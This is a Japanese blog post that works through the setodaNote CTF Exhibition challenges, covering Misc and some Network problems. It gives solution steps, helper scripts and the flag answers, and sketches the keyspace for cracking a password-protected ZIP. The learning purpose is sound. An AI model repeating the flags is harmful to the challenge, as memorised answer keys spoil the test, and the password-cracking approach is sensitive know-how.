以下の内容はhttps://daisuke20240310.hatenablog.com/entry/setodanotectfより取得しました。


setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します)

前回 は、実行ファイルのセキュリティ機構(脆弱性緩和技術とも言う)を調べるツールである「checksec」の理解を深めました。

今回から、setodaNote CTF Exhibition に挑戦します。前に、CpawCTF2 を始めたのですが、あまりメンテナンスされていないようで、サーバに接続できないなどがあったので、setodaNote CTF Exhibition も並行して進めようと思います。

setodaNote CTF Exhibition とは、2021年に、リアルタイムで開催された setodaNote CTF を同じ問題を常設で参加を可能にしてくれたものです。

※2024/10/20時点:6280ポイントで、25位 / 733名 です

それでは、やっていきます。

はじめに

「セキュリティ」の記事一覧です。良かったら参考にしてください。

セキュリティの記事一覧
・第1回:Ghidraで始めるリバースエンジニアリング(環境構築編)
・第2回:Ghidraで始めるリバースエンジニアリング(使い方編)
・第3回:VirtualBoxにParrotOS(OVA)をインストールする
・第4回:tcpdumpを理解して出力を正しく見れるようにする
・第5回:nginx(エンジンエックス)を理解する
・第6回:Python+Flask(WSGI+Werkzeug+Jinja2)を動かしてみる
・第7回:Python+FlaskのファイルをCython化してみる
・第8回:shadowファイルを理解してパスワードを解読してみる
・第9回:安全なWebアプリケーションの作り方(徳丸本)の環境構築
・第10回:Vue.jsの2.xと3.xをVue CLIを使って動かしてみる(ビルドも行う)
・第11回:Vue.jsのソースコードを確認する(ビルド後のソースも見てみる)
・第12回:徳丸本:OWASP ZAPの自動脆弱性スキャンをやってみる
・第13回:徳丸本:セッション管理を理解してセッションID漏洩で成りすましを試す
・第14回:OWASP ZAPの自動スキャン結果の分析と対策:パストラバーサル
・第15回:OWASP ZAPの自動スキャン結果の分析と対策:クロスサイトスクリプティング(XSS)
・第16回:OWASP ZAPの自動スキャン結果の分析と対策:SQLインジェクション
・第17回:OWASP ZAPの自動スキャン結果の分析と対策:オープンリダイレクト
・第18回:OWASP ZAPの自動スキャン結果の分析と対策:リスク中すべて
・第19回:CTF初心者向けのCpawCTFをやってみた
・第20回:hashcatの使い方とGPUで実行したときの時間を見積もってみる
・第21回:Scapyの環境構築とネットワークプログラミング
・第22回:CpawCTF2にチャレンジします(クリア状況は随時更新します)
・第23回:K&Rのmalloc関数とfree関数を理解する
・第24回:C言語、アセンブラでシェルを起動するプログラムを作る(ARM64)
・第25回:機械語でシェルを起動するプログラムを作る(ARM64)
・第26回:入門セキュリhttps://github.com/SECCON/SECCON2017_online_CTF.gitティコンテスト(CTFを解きながら学ぶ実践技術)を読んだ
・第27回:x86-64 ELF(Linux)のアセンブラをGDBでデバッグしながら理解する(GDBコマンド、関連ツールもまとめておく)
・第28回:入門セキュリティコンテスト(CTFを解きながら学ぶ実践技術)のPwnable問題をやってみる
・第29回:実行ファイルのセキュリティ機構を調べるツール「checksec」のまとめ
・第30回:setodaNote CTF Exhibitionにチャレンジします(クリア状況は随時更新します) ← 今回

setodaNote CTF Exhibition の公式サイトは以下です。

ctfexh.setodanote.net

それでは、やっていきます。

setodaNote CTF Exhibitionに登録する

上の URL にアクセスして、右上の Register をクリックします。

setodaNote CTF Exhibitionのトップページ
setodaNote CTF Exhibitionのトップページ

ユーザ名、メールアドレス、パスワードを決めて、Submit をクリックします。

ユーザ名などの登録画面
ユーザ名などの登録画面

すると、早速、「Challenges」のページに遷移しました。

問題一覧

結構、たくさんの問題がありました。問題数は 69問で、全てのポイントを獲得すると 8600ポイントになると思います。スコアボードを見ると、689名中、5名が 8600ポイントでした。

この CTF は、Writeup の記事がたくさん公開されているので、特にネタバレを気にしなくても良さそうです。

No. カテゴリ 問題名 ポイント 状況
1 Misc Welcome 20 Complete
2 Misc morse_one 30 Complete
3 Misc Hash 50 Complete
4 Misc F 80 Complete
5 Misc magic_number 80 Complete
6 Misc Stegano 100 Complete
7 Misc morse_zero 100 Complete
8 Misc ransom_note 100 Complete
9 Misc Nothing 120 Complete
10 Misc i_knew_it 120 Complete
11 Misc Redacted 150 Complete
12 Misc strong_password 250 Complete
13 Network Host 30 Complete
14 Network tkys_never_die 50 Complete
15 Network echo_request 120 Complete
16 Network stay_in_touch 150 Complete
17 Network yes_you_can 150 Complete
18 Network Digdig 200 Complete
19 Network Logger 250 0%
20 Network tkys_not_enough 250 Complete
21 Web Body 30 Complete
22 Web Header 50 Complete
23 Web puni_puni 80 Complete
24 Web Mistake 100 Complete
25 Web tkys_royale 120 Complete
26 Web Estimated 120 Complete
27 Web Mx.Flag 150 Complete
28 Web Redirect 150 Complete
29 OSINT tkys_with_love 30 Complete
30 OSINT Dorks 50 Complete
31 OSINT filters_op 50 Complete
32 OSINT MAC 50 Complete
33 OSINT tkys_eys_only 50 Complete
34 OSINT MITRE 100 Complete
35 OSINT Ropeway 120 Complete
36 OSINT N-th_prime 200 Complete
37 OSINT identify_the_source 250 0%
38 OSINT secret_operation 300 0%
39 Crypto base64 50 Complete
40 Crypto ROT13 50 Complete
41 Crypto pui_pui 80 Complete
42 Crypto tkys_secret_service 120 0%
43 Crypto lets_bake 150 0%
44 Crypto vul_rsa_01 200 0%
45 Crypto vul_rsa_02 250 0%
46 Crypto WEARECIA 300 0%
47 Rev Helloworld 50 Complete
48 Rev ELF 80 Complete
49 Rev Passcode 120 Complete
50 Rev Passcode2 150 Complete
51 Rev to_analyze 200 Complete
52 Forensics paint_flag 50 Complete
53 Forensics Mail 50 Complete
54 Forensics Deletedfile 80 Complete
55 Forensics Timeline 100 Complete
56 Forensics browser_db 100 Complete
57 Forensics MFT 100 Complete
58 Forensics tkys_another_day 100 Complete
59 Forensics MESSAGE 120 Complete
60 Forensics CSIRT_asks_you_01 150 0%
61 Forensics unallocated_space 150 0%
62 Forensics CSIRT_asks_you_02 200 0%
63 Programming ZZZIPPP 80 Complete
64 Programming echo_me 120 Complete
65 Programming EZZZIPPP 150 Complete
66 Programming deep_thought 250 Complete
67 Pwn tkys_let_die 100 Complete
68 Pwn 1989 200 Complete
69 Pwn Shellcode 300 Complete

Misc

最初のカテゴリは、Misc(ミスク)です。最初の問題名が Welcome ということで、この問題からやった方がよさそうです。

Welcome

Challenges のページから、Welcome をクリックします。

チュートリアルの問題でした。flag{Enjoy_y0ur_time_here!} を入力して、Submit をクリックするとクリアになります。

MiscのWelcome問題
MiscのWelcome問題

20ポイント獲得して、690名中、690位になりました!

morse_one

次は、モールス符号の問題です。

Miscのmorse_one問題
Miscのmorse_one問題

添付ファイルは、以下の文字列が書かれていました。

DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

じぃーっと見続けてると、最大4文字ごとに、S がある感じに見えてきました(笑)。S はスペースかな、D はドットかな、B は棒かな(笑)。とりあえず、変換表を頼りに英大文字を並べてみました。

flag{VIBROPLEX}

正解かは微妙な文字列が出ました。でも、合ってました。

30ポイント獲得して、計50ポイントで、690名中、625位になりました!

Hash

次は、ハッシュの問題です。

問題をよく読みます。組み合わせと言ってるので、ハッシュ値は 3つかなと思います。真面目にハッシュ値を計算させる問題でしょうか。そろそろ Python が必要になってきたので、ParrotOS を起動します(笑)。

MiscのHash問題
MiscのHash問題

64文字のようです。ChatGPT に、64文字のアルゴリズムを聞いてみます。SHA-256 と SHA3-256 らしいです。

>>> len("aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7")
64

Python より sha256sum の方が簡単そうです。ヒットしました。あとは、つなぎ合わせるだけです。

$ sha256sum ./* | grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7  ./pass024.txt

$ sha256sum ./* | grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb  ./pass034.txt

$ sha256sum ./* | grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962  ./pass079.txt

$ cat pass024.txt pass034.txt pass079.txt
flag{hardest
_logic_
puzzle}

以下でクリアできました。

flag{hardest_logic_puzzle}

50ポイント獲得して、計100ポイントで、690名中、536位になりました!

F

次は、なんの問題でしょうか、法則を見つける系でしょうか。

MiscのF問題
MiscのF問題

またもや、じぃーっと眺めます。

  • 使われている文字は、+-[]<>. の 計7種類
  • [] は、対になっているみたい
  • 最後が . で終わってる

記号だけのプログラミング言語で検索すると、結構出てきますね。

Brainfuck というのが近そう。オンラインで計算してくれるサイトがありました。

kachikachi.net

ここにデータを貼り付けて、RUN すると、勝手に計算してくれます。

Brainfuckのオンライン実行環境
Brainfuckのオンライン実行環境

flag{Don't_Use_the_F-Word!!} でした。

80ポイント獲得して、計180ポイントで、690名中、485位になりました!

magic_number

とりあえず、100点までの問題はやろうかな、と進めてます。

Miscのmagic_number問題
Miscのmagic_number問題

ダウンロードしたファイルを解凍して、とりあえず、バイナリエディタに突っ込んでみます。解けた(笑)。

flag{post_rar_light} でした。

80ポイント獲得して、計260ポイントで、690名中、436位になりました!

Stegano(追記:2024/10/13)

ダウンロードしたファイルを解凍すると、約4MB の PNGファイル(stegano.png)が得られます。

MiscのStegano問題
MiscのStegano問題

開いてみると、確かに、うっすらと文字が見えます。「1s_...」読めません。

exiftool にかけてみましたが、特にそれらしい内容はありませんでした。stringsコマンドも実行してみましたが、flag はヒットしませんでした。

次は、binwalk というツールを使って、何か他のファイルが埋め込まれていないかを見てみます。binwalk は、ParrotOS にデフォルトで入っていました。

何か入っているように見えましたが、これは圧縮された PNG画像では普通の出力でした。実行後、カレントディレクトリに _stegano.png.extracted というディレクトリが出来ていました。

$ binwalk -e stegano.png

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 2048 x 1536, 8-bit/color RGBA, non-interlaced
3118          0xC2E           Zlib compressed data, default compression

$ ll _stegano.png.extracted/
total 3.9M
drwxr-xr-x 1 user user   22 Oct 13 23:14 ./
drwxr-xr-x 1 user user  424 Oct 13 23:14 ../
-rw-r--r-- 1 user user    0 Oct 13 23:14 C2E
-rw-r--r-- 1 user user 3.9M Oct 13 23:14 C2E.zlib

では、画像編集で、いろいろ見方を変えてみます。

コントラストを下げます。「1s_cReA73d_by」が見えました。しかし、flag{1s_cReA73d_by} を提出しても正解ではありませんでした。彩度を上げると、左上に「flag{Re4l17y_」が見えました。後は、末尾の文字列がどこかにありそうです。

うーん、ギブアップです。writeup を見させて頂きます。「うさみみハリケーン」の「ステガノグラフィー解析」を使うと、残りの文字列が見つかるそうです。

うさみみハリケーンの導入と使い方

この機会に、Windows で使用する「うさみみハリケーン」を導入します。ダウンロード先は以下になります。

www.vector.co.jp

だいぶ奥の深いツールのようなので、今回は、ステガノグラフィー解析だけ使います。

公式サイトは、以下だと思います。

digitaltravesia.jp

公式サイトのうち、ステガノグラフィー解析について詳しく書かれているページは以下になります。「picoCTF をうさみみハリケーンで解いてみた」は興味深いので、後でゆっくり見させてもらいます。

digitaltravesia.jp

今回、ダウンロードしたバージョンは、v0.42 です。ダウンロードしたファイルは、UsaMimi_v042.zip です。フォルダに入れずに圧縮されているので、解凍する前に新規フォルダを作って、そこに格納してから解凍してください。

まず、何を起動していいかが分かりません。とにかく、UsaMimi64.exe を起動すればよいです。使い方によっては、管理者権限が必要になるそうですが、今回は単なる画像ファイルが対象なので、一般ユーザの権限で起動します。

起動すると、現在の Windows のプロセス一覧が表示されます。メインは、「プロセスメモリエディタ兼デバッガ」ということですが、いろいろ付属ツールがあります。今回は、プロセス選択画面をキャンセルします。

すると、UsaMimi のメインウィンドウが表示されるので、メニューのその他をクリックします。ここから付属ツールが起動できるようです。今回は、ステガノグラフィー解析の機能を含んでいる汎用ファイルアナライザを起動します。

「青い空を見上げればいつもそこに白い猫」というタイトルバーのツールが起動します。まず、「参照」ボタンを押して対象のファイルを指定します。ファイル情報解析結果というリストに、今回の対象は PNGファイルと出ています。メニューの「ステガノグラフィー解析」をクリックします。

まず最初は、拡大縮小のチェックを入れます。デフォルトでは画像ファイルの全体が表示されていない可能性があります。その次は、「前候補」、「次候補」をポチポチ押してみるといいと思います。これらの右に位置しているリストを変更することが出来るボタンです。

これらの候補は、例えば、RGB の 1byte×3 の 24bit を 1bitずつ抽出して、0 or 1 を白黒で表現しています。ポチポチ押してると、フラグの末尾の文字列が見つかりました。今回見つかったのは、青色のビット 4 でした。その 1bit にフラグが隠されていたというわけです。普通の画像ソフトで見つけることは不可能ですね。素晴らしいツールです。

flag{Re4l17y_1s_cReA73d_by_7h3_m1nd_rA9} でした。

100ポイント獲得して、計3610ポイントで、710名中、59位になりました!

morse_zero(追記:2024/10/14)

ダウンロードしたファイルを解凍すると、テキストファイル(morse_zero.txt)が得られます。ファイル名の通り、モールス信号でしょうか。

morse_zero問題
morse_zero問題

エディタで開いてみると、1行70桁しかありませんが、なぜか 180byte あります。バイナリエディタで開いてみます。ASCIIコードではないようです。単純にモールス信号にしては区切りも分かりませんし、バイナリエディタで見た方がいい気がします。

なんとなく、3byteずつの塊になってそうですね、UTF-8 でしょうか?なるほど、Z は区切り文字っぽいです。あとは、E2 80 8C か、E2 80 8B なので、これがモールス信号になってそうです。E2 80 8B が単点(・)、E2 80 8C が長点(-)とすると、ZER0... と目で見て書こうとしました。しかし、モールス信号は結構出題頻度高いし、Pythonスクリプトを書きます。

以下を実装しました。可変長のデータはコードが複雑になりますね。

def fread_bin( fpath ):
    
    with open(fpath, 'rb') as ff:
        data = ff.read( 8192 )
    
    return data

def morse_code( lst, dot='x', dash='y', sep=' ' ):
    
    # 短点(・)は dot、長点(-)は dash、quarter-chord point
    
    dic = { 'dq': 'A', 'qddd': 'B', 'qdqd': 'C', 'qdd': 'D', 'd': 'E', 'ddqd': 'F', 'qqd': 'G', 'dddd': 'H',
            'dd': 'I', 'dqqq': 'J', 'qdq': 'K', 'dqdd': 'L', 'qq': 'M', 'qd': 'N', 'qqq': 'O', 'dqqd': 'P',
            'qqdq': 'Q', 'dqd': 'R', 'ddd': 'S', 'q': 'T', 'ddq': 'U', 'dddq': 'V', 'dqq': 'W', 'qddq': 'X',
            'qdqq': 'Y', 'qqdd': 'Z', 'dqqqq': '1', 'ddqqq': '2', 'dddqq': '3', 'ddddq': '4', 'ddddd': '5',
            'qdddd': '6', 'qqddd': '7', 'qqqdd': '8', 'qqqqd': '9', 'qqqqq': '0', 'dqdqdq': '.',
            'qqddqq': ',', 'qqqddd': ':', 'ddqqdd': '?', 'ddqqdq': '_', 'dqdqd': '+', 'qddddq': '-',
            'qddq': 'x', 'dddddd': '^', 'qddqd': '/', 'dqqdqd': '@', 'qdqqd': '(', 'qdqqdq': ')',
            'dqddqd': '"', 'dqqqqd': '\'', }
    
    idx = 0
    ret = []
    while idx < len(lst):
        
        dd = lst[idx]
        assert dd == sep or dd == dot or dd == dash, f"dd={dd:X}, lst={lst}"
        
        if dd == sep:
            continue
        
        ll = []
        while idx < len(lst):
            
            if lst[idx] == sep:
                break
            elif lst[idx] == dot:
                ll.append( 'd' )
            else: # dash
                ll.append( 'q' )
            
            idx += 1
        
        idx += 1
        
        if len(ll) == 0:
            # 2連続区切り文字
            print( f"error: double separator, idx={idx}" )
            return -1
        
        ret.append( ''.join(ll) )
    
    ss = ""
    for rr in ret:
        if rr not in dic:
            print( f"not match: rr={rr}, ss={ss}" )
            return -1
        ss += dic[rr]
    
    return ss

def morse_code_bin( fpath, fmt='utf-8' ):
    
    data = fread_bin( fpath )
    
    idx = 0
    lst = []
    while True:
        
        dd = data[idx]
        assert 0 <= dd <= 0xFF, f"fatal: dd={dd:X}" 
        
        # 1byteずつ処理
        
        if dd < 0x80:
            
            # ASCII
            lst.append( data[idx] )
        
        else:
            
            if fmt == 'utf-8':
                
                if (dd & 0xE0) == 0xC0:
                    # 2byte
                    lst.append( (data[idx] << 8) | data[idx+1] )
                    idx += 1
                
                elif (dd & 0xF0) == 0xE0:
                    # 3byte
                    lst.append( (data[idx] << 16) | (data[idx+1] << 8) | data[idx+2] )
                    idx += 2
                
                elif (dd & 0xF8) == 0xF0:
                    # 4byte
                    lst.append( (data[idx] << 24) | (data[idx+1] << 16) | (data[idx+2] << 8) | data[idx+3] )
                    idx += 3
        
        idx += 1
        
        if idx >= len(data):
            break
    
    print( f"lst={[hex(ii) for ii in lst]}" )
    
    ret = morse_code( lst, dot=0xE2808B, dash=0xE2808C, sep=0x5A )
    if ret == -1:
        raise
    
    print( f"ret={ret}" )

morse_code_bin( "../setodaNoteCTF/Misc/morse_zero.txt" )

実行します。

$ python tmp.py
lst=['0xe2808c', '0xe2808c', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0xe2808b', '0x5a', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0xe2808c', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808c', '0xe2808c', '0x5a', '0xe2808c', '0xe2808b', '0xe2808b', '0x5a', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0xe2808c', '0x5a', '0xe2808b', '0xe2808b', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0xe2808c', '0xe2808b', '0x5a', '0xe2808b', '0xe2808c', '0x5a', '0xe2808c', '0xe2808b', '0xe2808c', '0xe2808b', '0x5a', '0xe2808b']
ret=ZER0_W1DTH_SPACE

flag{ZER0_W1DTH_SPACE} でした。

100ポイント獲得して、計3710ポイントで、710名中、56位になりました!

ransom_note(追記:2024/10/14)

ダウンロードしたファイルを解凍すると、3つのファイル(Image from iOS.jpg、NPIEWI-DECRYPT.txt、secret.txt.npiewi)が得られます。

ランサムウェアの暗号化の問題みたいです。GANDCRAB V5.0.3 という方式で暗号化されているようです。Web で検索すると、GANDCRAB は、v5.0.4 以降は復号できませんが、v5.0.3 は復号できると書かれています。ツールがダウンロード出来たので、secret.txt.npiewi を対象として、実行してみます。復号できました。

ツールは以下からダウンロードできます。

www.nomoreransom.org

ツール名は、「BDGandCrabDecryptTool.exe」でした。

flag{unlock1ng_y0ur_d1gital_life_with0ut_paying;)} でした。

100ポイント獲得して、計3810ポイントで、710名中、54位になりました!

Nothing(追記:2024/10/14)

ダウンロードしたファイルを解凍すると、テキストファイル(nothing.txt)を得られます。

Nothing問題
Nothing問題

半角スペース(0x20)と、タブ(0x09)と、改行(0x0a)だけのファイルのようです。また、モール信号でしょうか。改行が区切り文字だとすると、1つが長すぎるので違うようですね。

うーん、2進数?点字とか?分かりません。とりあえず、16byte周期になってると思います。さらに、16byteのうち、先頭 4byteは全て空白で、末尾の 5byteは常に同じパターンです。何かの通信パターンとかでしょうか。ギブアップです。

writeup を見ると、whitespace言語というのがあるらしいです。Web で自動で実行してくれるインタプリタに貼り付けるとフラグが表示されました。

flag{And_Then_There_Were_None} でした。

120ポイント獲得して、計3930ポイントで、710名中、51位になりました!

i_knew_it(追記:2024/10/24)

ダウンロードしたファイルを解凍すると、PNGファイル(i_knew_it.png)を得られます。

i_knew_it問題
i_knew_it問題

うさみみハリケーンで調べてみます。普通の PNGファイルのようです。開いてみると、IDA Pro っぽい画面のキャプチャでした。

左側の第1引数と第2引数は、RDI、RSI(→R8) がポインタ、第3引数も RDX(→RSI)でポインタのようです。

左側の loc_1160 は、スタック?に、0 から始まって 255 までの連番を 256byte分を RDI(ポインタ)に格納している感じでしょうか。

左側の loc_117A は、256回ループしてる(ループ変数は RCX)ようで、上の loc_1160 で作った 256byte の連番を順番に取り出して、R9d に入れます。RCX を RAX に代入して、cdq は EAX を符号拡張して EDX:EAX に格納で、idiv は RDX:RAX を RSI(第3引数のポインタ)の指している値で割って、商を RAX、余りを RDX に格納します。movsxd は符号拡張で、第2引数のポインタ+RDX(余り)を EAX に代入します。

しんどくなったので、画像ファイルを文字起こしして、コメントに書いていきます。

sub_1155 proc near          ; sub_1155関数 (第1引数はポインタ)
    mov  r8, rsi           ; r8 ← 第2引数
    mov  rsi, rdx      ; rsi ← 第3引数
    mov  eax, 0          ; 

loc_1160:
    mov  [rdi+rax], al      ; [第1引数+rax] ← 0から255の連番
    add  rax, 1
    cmp  rax, 100h
    jnz  short loc_1160

    mov  ecx, 0
    mov  r10d, 0

loc_117A:
    movzx    r9d, byte ptr [rdi+rcx]  ; r9d ← 0から255の連番
    mov  eax, ecx      ; 
    cdq              ; eaxを符号拡張して edx:eax に格納
    idiv dword ptr [rsi]        ; edx:eax / [rsi] の商をeax、余りをedxに格納
    movsxd   rdx, edx      ; edx(余り)を符号拡張
    movzx    eax, byte ptr [r8+rdx]   ; eax←[r8+rdx] ゼロ拡張代入 r8は第2引数
    movzx    edx, r9b      ; edx←連番
    add  edx, r10d     ; edx += r10d
    add  eax, edx      ; eax += edx
    cdq              ; eaxを符号拡張して edx:eax に格納
    shr  edx, 18h      ; edxを24bit右シフト
    add  eax, edx      ; eax += edx
    movzx    eax, al           ; 
    sub  eax, edx      ; 
    mov  r10d, eax     ; 
    cdqe
    movzx    edx, byte ptr [rdi+rax]  ; 
    mov  [rdi+rcx], dl      ; 
    mov  [rdi+rax], r9b     ; 
    add  rcx, 1          ; 
    cmp  rcx, 100h     ; 0から255まで
    jnz  short loc_117A

    retn
    sub_1155 endp

locret_1247:
    retn             ; 
    sub_11BE endp

sub_11BE proc near         ; sub_11BE関数
    cmp  dword ptr [rdx], 0    ; 第3引数(ポインタ)が指す値が0なら終了
    jle  locret_1247
    
    push r14
    push rbx
    mov  r8, rdx           ; r8←第3引数(ポインタ)
    mov  r9, rcx           ; r9←第4引数?
    mov  ecx, 0
    mov  r11d, 0
    mov  r10d, 0

loc_11E1:
    lea  edx, [r10+1]
    mov  eax, edx
    sar  eax, 1Fh      ; eax ← eax >> 31 (符号拡張)
    shr  eax, 18h      ; eax ← eax >> 24 (符号拡張無し)
    add  edx, eax
    movzx    edx, dl
    sub  edx, eax
    mov  r10d, edx
    movsxd   rdx, edx
    movzx    ebx, byte ptr [rdi+rdx]
    movzx    eax, bl
    add  eax, r11d
    mov  r11d, eax
    sar  r11d, 1Fh
    shr  r11d, 18h
    add  eax, r11d
    movzx    eax, al
    sub  eax, r11d
    mov  r11d, eax
    cdqe
    movzx    r14d, byte ptr [rdi+rax]
    mov  [rdi+rdx], r14b
    mov  [rdi+rax], bl
    add  bl, [rdi+rdx]
    movzx    ebx, bl
    movzx    eax, byte ptr [rdi+rbx]
    xor  al, [rsi+rcx]
    mov  [r9+rcx], al
    add  rcx, 1
    cmp  [r8], ecx
    jg   short loc_11E1

    pop  rbx
    pop  r14
    retn

なんとなく、256bit で、ぐるぐる回しながら XOR とか、足しこんだりしてるので、ハッシュ系かなと思いました。まず、SHA256 入れましたが、ダメでした。MD5 とか、いくつか入れましたがダメだったのでギブアップです。答えは RC4 ということでした。もし粘っても知らないアルゴリズムでした。writeupを見ましたが、簡単なはず、ということで、いくつか入れたら当たった的な方がいました。そういう解き方も必要ですね。

flag{RC4} でした。

120ポイント獲得して、計5460ポイントで、730名中、34位になりました!

Redacted(追記:2024/10/24)

ダウンロードしたファイルを解凍すると、PNGファイル(top_secret.pdf)を得られます。

Redacted問題
Redacted問題

うさみみハリケーンで確認します。本当に PDF のようです。

黒塗りのところを何とかすればいいようです。縮小、拡大すると、黒塗りが一瞬遅れて動くんですよね、、、外せるんじゃないでしょうか。

一応、一通り、うさみみハリケーンで確認したり、バイナリエディタで確認しましたが、よく分かりません。ただ、最後の方に、Microsoft とか、PowerPoint とか書いてありました。Office は無いので、LibreOffice で開いてみます。黒塗りを選択すると、選択できてしまいました。あとは切り取っていくと黒塗りが外せました。

「ロズウェル事件の真実 残念ながら、すべての文書証拠は破棄されましたが、真実は次のとおりです。目撃された物体は旗{気象気球}であり、他の可能性はすべて排除されました。 私たちはそれと通信できませんでした。それは私たちから非常に遠く離れていたため、通信できませんでした。 FBIより」みたいなことが書かれてました。

flag{weather_balloon}

150ポイント獲得して、計5610ポイントで、730名中、32位になりました!

strong_password(追記:2024/10/25)

ダウンロードしたファイルを解凍すると、パスワード付きZIPファイル(TopSecret.zip)と、情報セキュリティガイドラインの PDF が得られます。

strong_password問題
strong_password問題

情報セキュリティガイドラインによると、パスワードは 13文字とのことです。

  • 案件コード:英文字 3文字(52×52×52)
  • 記号:6種類(@#$%-)のうちから 1文字(6)
  • 年月日:数字 8桁(ZIPファイルの中身を見ると、20210713 か 20210714 のようです)
  • 記号:6種類(@#$%-)のうちから 1文字(6)

なるほど、52*52*52*6*6 通りということですね。5,061,888 通りのようです。年月日の 2択が外れたら、2倍でしょうか

$ zipinfo TopSecret.zip
Archive:  TopSecret.zip
Zip file size: 245 bytes, number of entries: 1
-rw-a--     6.3 fat       73 Bx stor 21-Jul-14 18:22 TopSecret.txt
1 file, 73 bytes uncompressed, 73 bytes compressed:  0.0%

$ 7z l -slt TopSecret.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=ja_JP.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Core(TM) i5-10210U CPU @ 1.60GHz (806EC),ASM,AES-NI)

Scanning the drive for archives:
1 file, 245 bytes (1 KiB)

Listing archive: TopSecret.zip

--
Path = TopSecret.zip
Type = zip
Physical Size = 245

----------
Path = TopSecret.txt
Folder = -
Size = 73
Packed Size = 85
Modified = 2021-07-14 18:21:58
Created = 2021-07-13 13:50:16
Accessed = 2021-07-14 18:21:59
Attributes = A
Encrypted = +
Comment =
CRC = 8578F5F9
Method = ZipCrypto Store
Host OS = FAT
Version = 20
Volume Index = 0

以下の記事で、パスワード付きZIPファイルのクラックについて書きました。

daisuke20240310.hatenablog.com

flag{And_n0w_h3re_is_my_s3cre7} でした。

250ポイント獲得して、計5860ポイントで、733名中、29位になりました!

Misc はこれで完了です!

Network

次のカテゴリは、Network です。

Host

ダウンロードして解凍すると pcapファイルが得られます。

NetworkのHost問題
NetworkのHost問題

Wireshark で開きます。うーん、簡単すぎるけど、合ってるのかな。

flag{ctf.setodanote.net}

合ってました(笑)。

30ポイント獲得して、計290ポイントで、690名中、418位になりました!

tkys_never_die

こちらも、ダウンロードして解凍すると pcapファイルが得られます。

Networkのtkys_never_die問題
Networkのtkys_never_die問題

とりあえず、ファイル抽出します。Wireshark の File → Export Objects → HTTP... で、Save All すると、2つのファイルが保存されます。解けました。

flag{a_treasure_trove} でした。

50ポイント獲得して、計340ポイントで、690名中、405位になりました!

次は、120ポイントの問題なので、Network はここまでにします。

echo_request(追記:2024/9/16)

続きをやっていきます。

Networkのecho_request問題
Networkのecho_request問題

ダウンロードして解凍すると、pcapファイルが得られます。

Wireshark で pcapファイルを眺めてみると、途中に、echo request(ICMP:ping)が、たくさん送信されています。ping には、適当なデータを格納する領域が用意されています。そのデータを調べてみます。

バイナリの 66(f)、6c(l)、61(a)、67(g)を見つけたら、ほぼクリアだと思ってます。今回は、大きいデータにはいなくて、1byteずつの中に隠れていました。

2230040000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
76d50a0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
29140b0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
03720b0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
2e
2e
2e
2e
2e
66
6c
61
67
7b
49
43
4d
50
5f
54
75
6e
6e
65
6c
69
6e
67
5f
54
31
30
39
35
7d
2e
2e
2e
2e
2e
2cbe0c0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
92270d0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637
80850d0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637

必要なとこだけ asciiコードに変換します。

$ echo "666c61677b49434d505f54756e6e656c696e675f54313039357d" | xxd -r -p
flag{ICMP_Tunneling_T1095}

flag{ICMP_Tunneling_T1095} でした。

120ポイント獲得して、計1520ポイントで、690名中、164位になりました!

stay_in_touch(追記:2024/9/18)

ダウンロードしたファイルを解凍すると、pcapngファイルが得られます。

Networkのstay_in_touch問題
Networkのstay_in_touch問題

やり方はいろいろあると思いますが、データ量が多いときは、Statistics の Conversations を見ます。すると、17個の会話があることが分かります。これを 1つずつ右クリックして、Apply as Filter → Selected → Filter on stream id とすると、この会話の部分だけが表示されます。あとは、右クリックして、Follow TCP Stream で、メールの内容を見ていきます。

いくつか見たら、添付ファイルがあって、別のメールでパスワードが送られていました。添付ファイルは Base64 だったので、テキストをコピーして、以下を実行します。

echo "UEsDBBQAAQAAADBq8FK0Nz5zSgAAAD4AAAATAAAAUmVwb3J0LUFWLVQwMDk3LnR4dAzRMzm6
s5vAM3huF0n2GEKFrarxVD3WvzurjKz9sjA7iD6nWis0GBRcIdcyrQkqliocBi2lCUB6J0hR
UgHzDVCnVx6LnLS5LenqUEsBAj8AFAABAAAAMGrwUrQ3PnNKAAAAPgAAABMAJAAAAAAAAAAg
AAAAAAAAAFJlcG9ydC1BVi1UMDA5Ny50eHQKACAAAAAAAAEAGADNWpx++XnXARJtllL6edcB
0TOVfvl51wFQSwUGAAAAAAEAAQBlAAAAewAAAAAA" | base64 --decode > Report-AV-T0097.zip

